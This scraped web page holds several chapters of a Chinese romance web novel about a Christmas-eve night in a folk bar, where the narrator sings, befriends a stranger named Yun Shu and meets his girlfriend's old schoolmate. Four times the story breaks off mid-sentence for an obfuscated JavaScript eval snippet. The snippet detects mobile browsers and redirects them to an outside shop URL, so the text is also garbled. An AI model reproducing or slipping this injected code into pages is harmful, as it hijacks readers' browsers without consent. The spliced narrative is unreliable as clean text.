宇哥下台后,我独自坐在唱台上,随手拨弄一个和弦,预示着演出的开始,向所有客人致意道:“也许有一天,你会发现,这个世界上是没有圣诞老人在你睡觉时爬进烟囱,往你的袜子里塞礼物,但是你要相信,今夜我们一定会给大家带来惊喜,祝大家圣诞快乐!” 话音刚落,高炜几人便在台下高声附和着:“圣诞快乐!”带动着全场的节日情绪。 我继续说道:“今天晚上,每一桌的客人可以根据我们准备好的歌单点一首歌,当然你也可以上台亲自给你的好朋友唱首歌,一起为ta送上最真挚的祝福!今夜开场一首《愿爱无忧》送给每一位朋友,希望每位朋友永不为爱烦忧!” 接下来,在那没有顾客点歌的一段段间隙之中,我陆陆续续弹唱着张悬的歌。从《宝贝》到《喜欢》,再到《日子》,最后到《关于我爱你》。这些歌曲,每一首都与这种充满着民谣风情的酒馆完美地融合在了一起,它们相互映衬,相得益彰,营造出了一种独特的音乐氛围。 …… 中场休息的短暂时间,我去和高炜他们浅酌了一小杯,听他们诉说着这一年来的各种趣事,以及考研过程中的种种酸甜苦辣,最后我们聊到毕业。 高炜报考的是本专业的研究生,尽管目标院校很遥远,但有一句话说得好,如果你瞄准月亮,即使迷失也是落在星辰之间。他的成绩即便不理想,调剂到本校多半是没有问题的。 钟璇也一样,显然是夫唱妇随的剧情。 至于虞寒艳,她作为我们专业的头号尖子生,不知道她在保研途中出了什么岔子,我这成绩对保研事宜一无所知,我只知道凭她的成绩完全可以走保研这条路。即使她一开始瞄准的是月亮,也一定会朝着太阳一步步迈进,迎接她的必定是一番崭新的人生。 而我,注定是个失败者。 我没有退而求其次去调剂的打算,为了改行去读一个不理想院校的弱势专业。从小到大,我在学习和生活上从未有一个明确的目标,哪怕是这次去报考上财的研究生,都是相黎作出的计划。 这一点和顾嘉截然相反,她一直坚定着好好学习这条路,明确规划着自己的人生,渴望着知识来拯救自己的命运。估算着,明年六月她的研究生也要毕业了,祝愿她能有一个美好的前程,她理应得到一个幸福的未来。 推杯换盏之间,我又带着自己不起眼的心事沉思着。 …… “喂,兄弟!” 旁边走来一个戴着圆框眼镜的文雅男生,接着给我递了一支烟。 我接过烟,点了起来。 “兄弟,是这样,今晚我们一行人过来,我女朋友也在……” 说着,他便指给我看,我顺着他手指方向看过去,确是有一桌男男女女几人,我们眼神相对,互相微笑示意。 他接着说道:“待会儿你能不能帮我弹一下歌单上的《为你唱首歌》,我们都是痛仰的粉丝,这个夜晚,我想为她唱首歌。” “当然可以!” “谢谢!待会儿麻烦你给我起个头哈,我这人五音不全,唱得不好,而且还有些社恐,但是今晚不知哪儿来的勇气,就是想唱给她听!” 从他眼神炙热的光芒里,可以看到肆意生长的爱,绝对温存,绝对可爱,绝对生机勃勃。 有的音乐需要技巧,需要唱功,但有的歌在特定场合,由特定的人来唱,只需要感情,正所谓“全是感情,毫无技巧”,而这恰恰就是音乐要传达的东西——音乐是情感的载体。 “懿哥,赶紧上,万众瞩目之下为爱的人而唱,简直浪漫得要死!” 一旁的钟璇催促道,眼里带着和小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039899|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙一样的炙热眼神,不过她的眼神中更多的是期待,让邻座的高炜无奈地直挠头。 高炜平时虽是个话痨性选手,在游戏里谈笑风生,侃侃而谈,但是让他现实中当众表演那就好比要了他的老命。 高炜脱口道:“懿哥,等会儿我也点首歌!” 我、虞寒艳和钟璇三人面面相觑,一起转脸看着他,全都是一副惊讶的表情。 高炜继续说道:“我点首歌,懿哥你唱给她听!” 钟璇脸色急转,咬牙切齿道:“高炜!你特么的是不是个男人!”随即双手摊在高炜脸上,不停地揉捏着。 高炜呜呜地说不出话来,“呜呜……错了错了……点首歌唱给寒艳……” 即使高炜呜呜呜地说这话,我还是听得很清楚,可是转念想起下午在车上相黎说的话,对虞寒艳忽然好像有了一种疏离感,即使彼此心里明白这种感情不是爱情,可在他人看来确是暧昧,没得争辩。 虞寒艳似乎捕捉到了我脸上短暂的不知所措,带着解围的意味说着:“不用不用,来了三个人,高炜你就故意给他挖坑,待会儿为我们仨共同唱首歌吧,以后机会也不多了。” 钟璇听闻,便收回了蹂躏高炜的手,但脸上怒气未消,这股怒意也不知是对我,还是对高炜,嗔道:“这样啊,一碗水都端不平,独唱也只会为那个相黎唱,是这样没错吧!” 我急忙上台完成今晚的kpi,依稀还是能听见背后传来钟璇对我的吐槽声。 “各位,接下来9号桌的客人要为他的女朋友演唱一首《为你唱首歌》,在这个寒冷却又不失温暖的圣诞夜晚,让我们一起聆听这份独特的爱意。” 在一片掌声和呐喊声中,小伙和我一起坐在唱台上,我伴奏,他献唱。 “一段危险的旅途结束 我要和你平静地生活 去看看天边日落 或许幸福就是紧握的手……” 最后,他深情地对台下的女友示爱:“娜娜,我是个很粗心的男生,也不会说一些讨你开心的话,所以在我们爱情的道路上坎坷总是比坦途多。像我这样在他人看来内向又冷漠的人,你却觉得我时而傻时而闹腾,那是因为我爱你。我只知道一件事,遇到一个对的人就要不遗余力去喜欢、去爱!娜娜,我爱你!” 我们四人在台下和酒馆里所有人一样,屏息倾听着他对娜娜的告白。在所有人的目光都被他和娜娜吸引过去的时候,我偷偷地瞄向虞寒艳和钟璇:因为有高炜在,钟璇似乎很有代入感,就好像女主角是她一样,而台上的人是高炜,正在对她做一番深情告白。 酒馆顿时被欢声雷动的气氛笼罩,起哄和祝福的人群之间, 虞寒艳却很是平静,不知道她在想些什么。 她突然转过头来看我,我也正看着她。 第10章 圣诞结 我们默契地将眼神错开,避免尴尬的对视。 她和顾嘉一样,总能在我感到孤单的时候,给予我一丝慰藉。可能介于相黎女朋友的身份,在相黎面前我要保留作为男人的最后一丝体面,不愿意在她面前展现自己阴暗懦弱的一面。 虞寒艳不同,我们认识快七年,对方是个什么样的人,彼此都知根知底,我没必要在她面前藏着掖着,她在我面前也从不端着。 我的眼神迫切地在游离向别处,装作看她是不经意,而非有意。在四处看看的情况下,不远处一桌的一个女人引起了我的注意,印象里隔壁桌一直只有她一人独坐。按理说,来酒吧这种地方,又逢圣诞夜,应该是成群结伴的。 再看往吧台,宇哥正在和一个年轻男人交涉,我仔细打量着这个男人,他与我们年纪相仿,偏瘦的身材,高高的个子,棱角分明的脸庞,五官清秀中带着一抹俊俏,活脱脱一个现代网红的样子,挑不出啥毛病,但也谈不上喜欢。可能只是从男生的视角不太喜欢吧,女孩子可就吃这一套呢。 我走过去问宇哥怎么回事,宇哥一脸为难地说道:“今晚的卡座都被订光了,这个帅哥过来没有位置了。” 现在的消费环境就是这样,平日里求人过来消费人家不来,一听说哪家店里生意火爆,又加上圣诞主题的营销,都要过来凑热闹。就比如挑选去哪家店里吃饭,越是没人的饭店馆子,越没有人愿意去,都宁愿排队去等那家人多生意好的,也不管人多的那家味道如何。 我礼貌地带着微笑问道:“帅哥,就你一个人吗?” 男人短暂地打量了我一番,回道:“和女朋友一起来的,她在外面找车位。第一次来这儿,不知道生意这么火爆,哈哈。” “你看这样如何,我们那桌还有两个空位,不嫌弃的话我们拼个桌,圣诞夜能在人海中相遇都是缘分。” 男人点头默许,我带着他走到了高炜三人面前,并向他们说明了情况,他们三人也认可了这个决定。 男人和高炜并排而坐,礼貌地向三人问好。 “帅哥。怎么一个人?没带女朋友一起过来?” 钟璇率先打了招呼,完全不顾高炜,眼神里竟然犯起了花痴。 “额……”男人陪笑,温声回道:“女朋友啊,她晚点过来,不过看样子这家店生意太好了,到时候也不一定有位置啦。” 听说男人有女朋友,高炜戒备且带有些许敌意的目光瞬间缓和,拍了拍男人肩膀,说道:“兄弟,我跟你讲,我们懿哥是这家店的内部人员,你要啥位置,到时候尽管给你安排到位,放心啦!” “谢谢,你们喝点什么,我请!” “这怎么好意思,寒艳,赶紧点啊,头回碰到帅哥请喝酒,这不比除了唱歌打游戏一无是处的木头帅太多!” 虞寒艳接过话茬,打趣我道:“赶紧去上班吧,给我们招呼过来个帅哥,你的任务圆满完成了!” 虽然我们的卡座是双排六人座,但真要坐五六个人还是显得有些局促,而且还是素未谋面的新朋友。 于是我端起一杯酒,前往不远处那个女生那里,为他们腾出空间。 “哈喽!” 女生抬起头,微微牵动嘴角,笑意盎然,点了点头:“你好!” “一个人啊,我可以坐这里吗?” “可以啊,你是走程序过来陪酒的吗,哈哈!” “你看我像陪酒的吗?” “嗯~挺像的!” “好吧,就算陪酒的,我多喝两杯,你待会儿可要多点两杯!” 我和她玩笑了几句,坐在她的对面,正对着坐着,才认真看清了她的样子,她长得相当好看,长长的头发近乎不自然地直垂下来,轻盈而柔软地洒在桌面上。睫毛长长,眸子如两汪秋水,澄明得令人不敢触及。 她右手端着酒,用吸管吸着,左手手指有节奏地“噔噔”叩击着桌面。 气氛忽变得有些冷清,我尝试着问道:“你要点歌吗?” 她转过头去瞥了一眼大屏幕上的歌单,稍作沉思后,缓缓地说道:“点个啥呢?要不你猜猜看,我想要点什么歌?” “你都不和我聊聊,怎么猜?我又不是你肚子的蛔虫。” 她竟然真的下意识地看了一眼自己的小腹,说道:“我肚子里的蛔虫?在我肚子里的,那是我儿子。” 我顿时感到有些无语,这么年轻漂亮的女人还没聊上几句,就能把话题上升到认儿子的荒诞程度。究竟是她的性格使然,还是她真已经怀有身孕了。 “孕妇不能喝酒,你不知道吗?” “知道个大头鬼!我连婚都还没结呢,哪里来的儿子?” “哦,也是……瞧这架势,对象看来都没有。” “你声线挺不错的,就是……” 我急忙打断她继续说下去,按照语言的逻辑,前面赞美词往往是为了突出后面的重点,而重点强调的往往不是什么好话。 “得了,知道你要点啥歌了,待会儿见!” 我果断上台唱了一首陈奕迅的《圣诞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039900|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结》,歌词确实与她挺搭的: “我住的城市从不下雪 记忆却堆满冷的感觉 思念到忘记 霓虹扫过喧哗的街 把快乐赶得好远 落单的恋人最怕过节 只能独自庆祝尽量喝醉 我爱过的人没有一个留在身边 寂寞他陪我过夜 心碎得像街上的纸屑” 我的视线不经意间掠过了刚才的那一男一女,男人也注意到了我的目光,他很自然地举起杯中酒朝我颔首示意,动作很是洒脱随意;那个女人却瞪着铜铃般的眼睛,鼓起单侧的脸颊对着我直摇头。 …… 一首歌的时间还没结束,一个身影出现在我的视野之中——正是相黎!她刚踏入店里,摘下羽绒服后面的帽子,目光环顾一圈,马上锁定目标径直走向高炜那桌坐下。 显然,晚上和人出去吃饭,她是回去认真打扮了一番,就那样静静地坐在那儿,便如一朵绽开的白兰花,只要看她一眼,万般柔情便涌上心头。 与虞寒艳不同,尽管相黎总是把笑容挂在脸上,我还是能时常窥探到她笑容下掩饰的忧伤;虞寒艳只是单纯的不爱笑,正如她的名字一样,是个冷美人,但依旧不妨碍她活泼和火热的内心,所以我们给她起了一个外号叫“虞美人”——问寒艳能有几多愁,恰似一江春水向东流。 她们二人,一个热情似火却暗含忧伤,一个清冷孤傲却内心火热。 他们在台下和那个男生相谈甚欢,时而开怀大笑,时而窃窃私语,每一个表情和动作都透露出无比愉悦。尤其是当他们望向那个男生时,眼神中更是充满了欣赏,仿佛整个世界都为他一人存在。不得不说,帅哥到哪儿都受欢迎,自带光芒,轻易就能吸引他人的目光和关注。 与此同时,我发现了一个有趣的现象,还没见到有人去和隔壁桌那个女孩搭讪。那个女孩孤零零地坐在那里,与这边的热闹形成了鲜明的对比。 唱完这首歌,我拖着有些疲惫的步伐回到座位,恰巧和那个男人挤在了一块儿,这让我略感不自在。这时,我发现高炜、钟璇和虞寒艳三人,竟然齐刷刷地用异样的眼神凝视着我,眼神极其复杂。 他们这样直勾勾地看着我,也不说话,这诡异的氛围让我隐隐有些不安。 我们三个男生坐在她们三个女生的对面,一时间,气氛有些微妙,好像有一层无形的膜将两边隔开。 相黎率先打破了沉默,说道:“顾懿,坐你身边的这位就是宁致,本想和他一起过来,好向你们介绍,这边找个车位实在麻烦,就让宁致先过来了,没想到你们已经认识啦。” 第11章 失去的都是人生 她的话语如同投入平静湖面的一颗石子,打破了这份沉寂。 我顿时只觉头皮发麻,这种感觉很奇怪,令我猝不及防,像是有一股电流瞬间传遍全身。 之前他似乎提及,他的女朋友正在路上,晚些时候可能会过来,我的脑海中猛地闪过一个念头,所说的不正是相黎吗? 高炜三人没有说话,对面的虞寒艳和钟璇漫不经心地在喝着饮料,眼角余光时不时地瞥向我。 相黎觉察到我们一行人的异样,顺着刚才的话继续说道:“宁致,你们第一次见面,向你正式介绍一下,这位就是和你提过的顾懿,我男朋友。” 宁致的表情有那么一瞬间的不自然,但很快恢复了平静。周围的其他人,都抱着一种吃瓜的态度。 “顾懿,宁致是我以前上学时候的好朋友,正经音乐科班出身的高材生,从小学到高中一直都是我们学校的风云人物,现在致力于做原创音乐,你们或许都听过他的歌啦。” 宁致接过话茬,解释道:“不敢当不敢当,我和妮妮从小学到高中都是同一个学校的,高中我们才同班而已,妮妮真的很有天赋,对音乐创作总有她独特的idea,这一点我自愧不如!” 她看着相黎回忆起过往,眼中饱含欣赏之色,转念又是重重叹了一口气,惋惜道:“不过妮妮好像对音乐没啥兴趣,高考前破天荒地弃艺从文,她斩钉截铁要放弃艺考时,我们整个班的老师和同学都不可置信!” 身为相黎的男友,她的经历我早有所耳闻,因此并未流露出过多的惊讶之色。然而,在场的其他人却是初次听闻这个消息,脸上纷纷浮现出惊愕与难以置信,明显被震撼到了。 宁致看向相黎时候的神情愈加真切,道:“我知道,她就是她!她决定的事没有人能够改变,我也劝了好久都没用……” 他话里话外都是在强调他和相黎不一般的交情,他摊了摊手,努嘴道:“没办法,她做什么我都支持她……她小脑袋瓜这么聪明,文化课考试对她来说轻而易举……只是很可惜,她如果学音乐的话,十有八九已经在属于她的领域崭露头角啦!一定比我强得多!” 在不知道宁致身份的时候,觉得这人说话还挺好听,不过现在我却听出了一丝炫耀、示威之意,感觉异常刺耳。 虞寒艳倒是一如往常,和相黎正常聊着天,笑道:“原来妮妮是艺术生出身呀,难怪可以轻松玩转乐队……看来顾懿他们都是些外行,咱们妮妮才是行家!之前一直都没听你怎么提起过呢……” “嘻嘻,英雄还不问出处嘛。” 我实在不想听宁致谈论起他与相黎的从前,那些话语在我听来,就好比一首好歌用很低端的设备演奏,混了好多杂音,那些杂音显得无比聒噪,让我的心也跟着烦躁起来。 于是,我站起身,努力硬挤出一丝笑容,尽量让自己的表情看起来自然,说道:“你们好好叙旧,我去招呼一下其他客人。” 我的声音听起来还算平静,我不想再继续待在这里,听他们回忆那些我不曾参与的过往。 不等他们回应,我做好表情管理,步伐保持着从容,缓步走向旁边女生那桌,坐在她对面。坐下的那一刻,世界终于清静了,不过心中难免有些乱糟糟的。 这一次,自己似乎又是一个逃兵…… …… 我看着对面的女生,她有些惊讶我的突然来访,但我此刻无暇去顾及她的感受。我的脑海中不断地回荡着宁致对过往的回忆,那些话语如影随形,在我脑海中挥之不去。 “你脸上的笑容有些僵硬……” “有吗?” 女人重重地点了点头,肯定道:“有!” 我拿起开酒器,开了桌上的一瓶百威啤酒,直接怼瓶喝了一大口,问道:“咋样,刚才那歌挺适合你的吧?” “适合什么呀,我可是一点都不lonely,倒是和你有点搭……” 我苦笑着,不明白《圣诞结》的歌词,怎么突然就应起了我的处境?这才短短几分钟,我便沦为了那个lonely的人…… “如果不让我猜的话,原本你想点什么歌?” “歌单上的歌都不想点,你热场时唱的那首就还好。” “哪首?” “嘶~”她吸了口气,思索道:“就那首张悬的……我拥有的都是侥幸,失去的都是人生。” “《关于我爱你》?” “嗯!” “怎么,你也听张悬?” “还怎么?你是申请了听歌的专利还是咋的,我为什么就不能听?生命是一张悬而未决的网,懂吗?” “懂,懂……” 她又没好气地问我:“歌神,还没问你怎么称呼?” “顾懿,顾城的顾,司马懿的懿。” “确定不是,事故的故,意外的意?” “确定不是,这么文艺和历史气息兼顾的介绍到你嘴里咋就变了味儿?……你呢?” “云舒,云卷云舒的云舒。” 我点点头,赞许道:“好名字!” “你的也不差,很适合你,特喜欢故意找茬。” 我又猛地灌了一大口啤酒,冰 凉的液体顺着喉咙急速流淌而下,却丝毫未能浇灭我心头的烦闷。一定是它的酒精度数太低,相对于那些度数高的烈酒,它终究给不了我那种一口入喉就快要将我杀死的感觉。 望着褐色的酒瓶,我一阵恍惚,心里对它充满嫌弃:你和其他酒差距太明显,怪不得你在酒吧里卖得最廉价! “感觉你给我唱首歌,完事了不开心啊,这么不待见我?” “没有不开心。” “不要试图逃过一个女人的眼睛,我还是喜欢你刚才那种桀骜不驯的样子。行吧,你要嘴硬的话我也没辙,既然这样,等价交换,还一首给你,你就一个人坐这lonely吧!” 我目送着她上台拿起放置在支架上的吉他,她轻轻弹了个和弦试了试音,那动作熟练而自然。 然后,她有条不紊地开始将《关于我爱你》弹唱了一遍。她那修长而灵动的指尖如同精灵般在琴弦上翩翩起舞,每一个音符都带着情感一般,伴着她悠扬的歌声,让整个空间都沉浸在了她的音乐里。 她唱歌的时候眼里有光,眼中的光芒混着吉他声和歌声,像冬日里的霜雪掺着烈酒,调制成了一杯春天的鸡尾酒。 听着她的声音,我也被带入了歌曲所描绘的情境之中,心中的灰暗地带被她的一缕歌声缓缓照亮。 这时候,宇哥悄然走到了我身旁,感叹道:“这姑娘要在我这里驻唱,就不愁店里没生意了。” “颜值和才华都是一流水准,”他继续说着,眼睛依然注视着歌台上的她,“声线也很完美,简直无可挑剔!”宇哥不住地摇头赞叹,像看到了一个极为难得的珍宝。 听着宇哥的话,我不禁把目光再次投向了歌台上的她。确实,此刻的她在灯光的映照下显得格外耀眼。宇哥的话虽然有些夸张,但也确实道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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转念,我感到无尽的空虚漫布全身,我曾告诫过自己,要做不被定义的风,不以物喜,不以己悲。如今这股无处不在的风,它是自由的,不会被任何人定义形状,它会吹到它想要去的任何地方。如今这种漫无边际、没有方向感的自由给我带来的只有不安。 当云舒唱完最后一个音符,酒馆里似乎还回荡着那动人的旋律,让人久久不能忘怀。 她的歌声吸引了酒馆里所有人的注目,就连相黎也听得入了神,毕竟张悬是她最喜欢的歌手,云舒竟唱得如此传神,把歌词想要传达出来的情感演绎得淋漓尽致。 曲罢声停,云舒回到座位,宇哥也回到吧台等待客人的招呼。 “没想到你还蛮多才多艺的。” 我坐在云舒的对面,由衷地赞赏一番。 “这是你的工作,你这是在夸我还是在变相地夸你自己?” “我?我这就是用爱好赚点外快,不敢在您面前嘚瑟。” “巧了,我也用这点爱好赚过外快,咱俩是同行,你现在可以嘚瑟了。” “你是在市里其他店里驻场?” “不,在上海。” 上海这个城市名字又一次出现在了我平淡的生活里,如此充满向往,又如此地充满着陌生与未知。 当今环境下的我,就如同一条小鱼身处小江小河,周围生活的虾鸟鱼虫都是如此亲切,水压也是正好;而上海便是深不见底的海洋,一眼望不到边的奇遇让我这条小鱼憧憬,海底的白鲸、海豚使我向往,可是我当真可以孤身游向大海,在压力不同的咸海里遨游而不被鲨鱼吞没吗? 自诩为理想青年的我,何时变得竟这般现实? “发什么呆呀?”云舒提醒道。 “我快毕业了,可能 会去上海。”我很平静地回答道。 “你还在上学吗,我都强行毕业好多年了。” 第12章 开除学校 “强行毕业?被学校开除了?”这么多年还是头回听说“强行毕业”一说。 说到这里,云舒不似之前嘻嘻哈哈,喝了口酒,掏出烟盒点了根烟,沉默了几秒钟,发觉没有给我发烟又重新打开烟盒,我接过烟,她缓缓说道:“准确来说,是我开除了学校。” “这么牛?你们都是这么任性的存在,只有我一直循规蹈矩地按部就班二十多年,看见那桌几人没有?有一个是我的女朋友,上海姑娘,人家从小就是学音乐的,高考弃艺从文,考到我们这儿来了。” 云舒顺着我的目光看过去,只见相黎她们正交流得很开心,笑声仿佛都能传到这边来。 这个瞬间,我内心泛起一阵刺痛。似乎有我没我都一样,我在或不在,对她们来说并没有什么区别。 “那都是大户人家,选择的权利握在自己手上。” 云舒忽然变得惆怅万分,脸上写满了伤感,继续道:“可命运一直都是狠狠地掐住我的咽喉,我挣脱不掉。” 我很好奇云舒的故事,想必她肯定不会轻易将自己的过往吐露给一个陌生人,便没有刨根问底。 接着她说道:“很多人说,只要一直读书,就能够一直理解自己的痛苦,就能够一直与自己的无知、狭隘、偏见见招拆招,就能够和自己握手言和……可书读得越多,懂得的越多难道不也是一种痛苦吗?我不想做这样的人,我要亲自打磨自己这块璞玉。” 这或许是她此刻的心里话,或许不是。这一段话对我来说是一段悖论,读书与不读书丝毫不影响人生中需要去接受的东西,只是有些人在学校里学,而有些人是在社会上摸爬滚打去懂得的。我不想用自己浅薄的认知去反驳她,正如她前面所说,如果真的有选择的话,谁愿意早早地步入社会? 她像是一本充满悬念的故事书,我带着好奇问她:“那你现在在做什么?还在上海吗?” “我做过的工作多了,在livehoe做过,线上陪玩也做过,现在主要做自媒体,有没有一点佩服我?我自己都很敬佩我自己,我怎么可以这么强!” 云舒眼中饱含希冀的光芒,一边回忆着她的职业经历,一边向我诉说着。 “牛掰,我做过驻唱,也做过线上的游戏代练,满校园地给学弟学妹推销电话卡,回收二手手机、电脑,还舔着老脸拉学弟学妹考驾照,哈哈哈,太狼狈了!难怪都说防火防电防学长。” “怎么,家里条件不好?” 我掏出火机,点了支烟,避开她的问题,吸了口烟吐了出来,无奈道:“总不能厚着脸皮向家里要钱谈对象吧?” 云舒打量着远处的相黎,问道:“上海千金花钱大手大脚,你招架不住?” “那倒没有,”我缓缓开口,试图组织好语言来表达自己的想法,“她很……咋说呢,算是很朴素的吧。”我一边说着,一边在脑海中思索着合适的形容词。 “只是我……”说到这里,我却突然停顿了下来,不知道该如何继续说下去,不禁长吁一口气,“唉,怎么说呢……” 我紧皱着眉头,极力想解释清楚自己内心深处的某些想法,片刻却发现自己陷入了一种言语的困境,无论怎么言语都无法准确表达出自己真正的意思。我只好无奈地摇着头,希望云舒能够理解我难以言表的心情。 相黎这时也正看着我们,两人目光对视,相黎站起身朝我们这儿走了过来,宁致见状,急忙跟上,那副样子活生生一个跟屁虫。 看着他亦步亦趋的讨厌模样,我心中的不快愈发强烈。 相黎走了过来,往我身旁一坐。我并没有向里面挪动两个身位,我的身体就这样僵持着,不想给跟屁虫留一点空间。 相黎坐在我旁边,我能感觉到她的气息,但我的注意力更多地集中在对宁致的反感上面。我固执地坚守着自己的位置,不给他一丝一毫可以靠近的机会,守护着自己最后的一点领地。 宁致似笑非笑地横在我们三人跟前,云舒往里挪了一下,给宁致解围道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039902|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你坐这儿吧,我不介意的。” 特么的,你不介意,我介意,我心里此刻有一万头草泥马在奔腾。 “这位就是你女朋友吧?”云舒一脸笑意地和相黎问好,“刚才他一个劲儿地夸你如何如何,把你说得天花乱坠,凑近瞧一眼,他确实没说假话。” 云舒很会说话,丝毫没有提及我刚才的窘境。 相黎用胳膊肘撞了我一下,莞尔笑道:“是吗?确定没有说我坏话,我们刚才还在打赌顾懿是不是在背后吐槽呢。” “还真没有,就是一直在蹭我的酒喝,不知道真是个是酒腻子呢,还是纯纯就一酒托儿?” 云舒双手十指相扣,胳膊撑在桌面,俏脸搭在一侧肩膀上说道。 这时,宁致半开玩笑道:“顾懿兄弟确实敬业,身兼数职,驻唱和销售两不误,雇你真是物超所值!” 不知道他是不是在开玩笑,可我耳中听出了他居高临下的那股傲慢劲儿。在我看来,他带着一种高高在上的姿态,对我这份兼职工作不屑一顾。 我耸耸肩,言语上没有回应。当然,我们肯定互相瞧不上眼。 …… 相黎和云舒饶有兴致地聊了很长一段时间,她们似乎有着说不完的话题。 在接近我收工的尾声,相黎把车钥匙丢给我,让我去把她车上的相机取来。最近她摄影的欲望格外强烈,按她的说法,我们一群人很难得能在这个圣诞的夜晚聚在一起,当然是要记录。 她告知我车停放的位置,我合上上衣的拉链,准备出门去取相机。 在推开门的那一刻,刚好迎面撞上了一个火急火燎的冷漠女人。她的表情冷淡,一脸不耐烦,她朝我冷嘁一声便往酒馆里面赶,她懒得看我,而是带着狩猎的目光巡视酒馆内的情况,仿佛周围的一切都与她无关,只有酒馆内某个人和事才是她关注的焦点。 我被她这突如其来的举动弄得有些莫名其妙,但也无暇多想,便转身出门为相黎去取相机。 第13章 冲冠一怒 整晚的心情都被一个电灯泡毁了,自然也没心情搭理她。出门走在酒馆所处的这条商业街上,周围是一片繁华热闹的景象,灯光闪烁,音乐声、欢笑声此起彼伏。我无心欣赏这一切,只是任由着纸醉金迷的风朝我吹来。 那些娱乐场所里灯火通明,透过明亮的光线,一定有人在里面推杯换盏,尽情享受着这狂欢的时刻,不醉不休。他们或许在追逐着短暂的快乐,试图在这喧闹中忘却一切烦恼。 我站在这街道上,看着这一切,心中却有着一种别样的感慨。 霓虹灯光映射在冰冷的地面上,色彩斑斓,是一种迷乱的效果,一下子竟分不清是灯光在晃动,还是城市跟着灯光踉跄着——孤独的长街,你也在这灯红酒绿的夜市里醉倒了吗? 我想不会。你一定只是在微笑罢了,跟随着夜幕下狂欢的众人一起不合群地笑了吧? …… 拿到相机,在回去的路上,隐隐约约看到对面走来几个熟面孔,起初只是觉得有些熟悉,却不敢确定。等走近了才看清这几人是早两年玩乐队时的队友:主音吉他手华子和讨人嫌的鼓手宗斌,还有个在哪儿见过但叫不上名字的女生。 华子还是那副潇洒不羁的样子,宗斌依然带着让人有些反感的神情。 宗斌耷拉着脸,模样看上去无精打采的,像是喝了不少酒,整个人都显得有些绵软无力。 华子和那个女生一左一右地半搀着他,华子的脸上带着一丝无奈,看样子在担心宗斌的状况;那个女生也是小心翼翼地扶着,她的表情很是关切,生怕宗斌会有什么闪失。 他们三人就这样缓缓地走着,宗斌在中间摇摇晃晃的,华子和女生努力维持着平衡,尽量让宗斌能够站稳。 当初玩乐队的时候,觉得华子这人还是不错的。他同样对音乐有着异于常人的热爱,为人也比较真诚,唯独缺少些主见,很多时候在乐队一些事情的决策上犹豫不决;宗斌一直热衷于充当大哥的角色,很大一方面就是因为后面跟了个“听话”的华子。 华子见到我,脸上写满无奈,看看我,又看了看半醉的宗斌,招呼道:“巧啊,懿哥……” 听到华子的寒暄,心中不乏苦涩,曾经一起玩乐队的日子依旧历历在目,而如今大家却都有了各自不同的境遇和变化。 宗斌迷糊之间听到我的名字,原本混沌的眼神瞬间清醒了不少。他立刻撒开搀扶着的两人,摇摇晃晃地快步走到我跟前,紧紧握住了我的手。 他的脸上带着一种夸张的热情,说道:“顾懿,好久不见,还好吗,大家都很挂念你呢!” 旁人不知道,还以为我们之间的情谊有多深厚。 然而,我却从他的言行中看出了刻意。看着他那有些滑稽的样子,我心里暗自好笑,但还是礼貌地回应道:“是啊,好久不见!” 宗斌随手拨弄了下挂在我胸前的相机,脸上带着一丝调侃的笑,说道:“顾懿,这么长时间不见,变得这么文艺,不光玩吉他,还玩起摄影了?” 话还没说完,他便又朝华子说道:“华子,你就知道整天捣鼓个破吉他,怎么就不明白跟顾懿多学学,什么时候才能脱单,圣诞节人家都有女朋友陪着,你这孤家寡人的,我都替你急!” 他一边说着,一边还用手指了指华子,那模样仿佛在教训华子一般。华子听了,只是无奈地笑了笑,并没有反驳什么。 这几个人还是老样子,一点没变,宗斌依旧喜欢对别人指手画脚。 我轻轻地拍了拍相机,回应道:“偶尔记录一下生活,没你说的那么夸张。” “哦,对了!顾懿,光顾着叙旧,忘记和你介绍了,这位是我们乐队的新贝斯手,陈佳。” 我点点头微笑示意,向陈佳表达了友好。 可能是晚上喝了不少酒的缘故,宗斌话显得特别多,不等我开口,他抢在我前面说道:“你走之后,我们乐队一下子少了一半成员,差一点就解散了,过了好长时间才物色到一个新主唱和贝斯手,晚上不巧,新主唱陪女朋友去了,没有一起出来聚聚,不然也能一睹你的风采!” 听着他的话,我心中也涌起一阵复杂的情绪,曾经一起奋斗过的乐队,为爱冲锋的“悲观骑士”如今已是一代新人换旧人。虽然早已经离队,但听到这些消息,还是会有些在意。 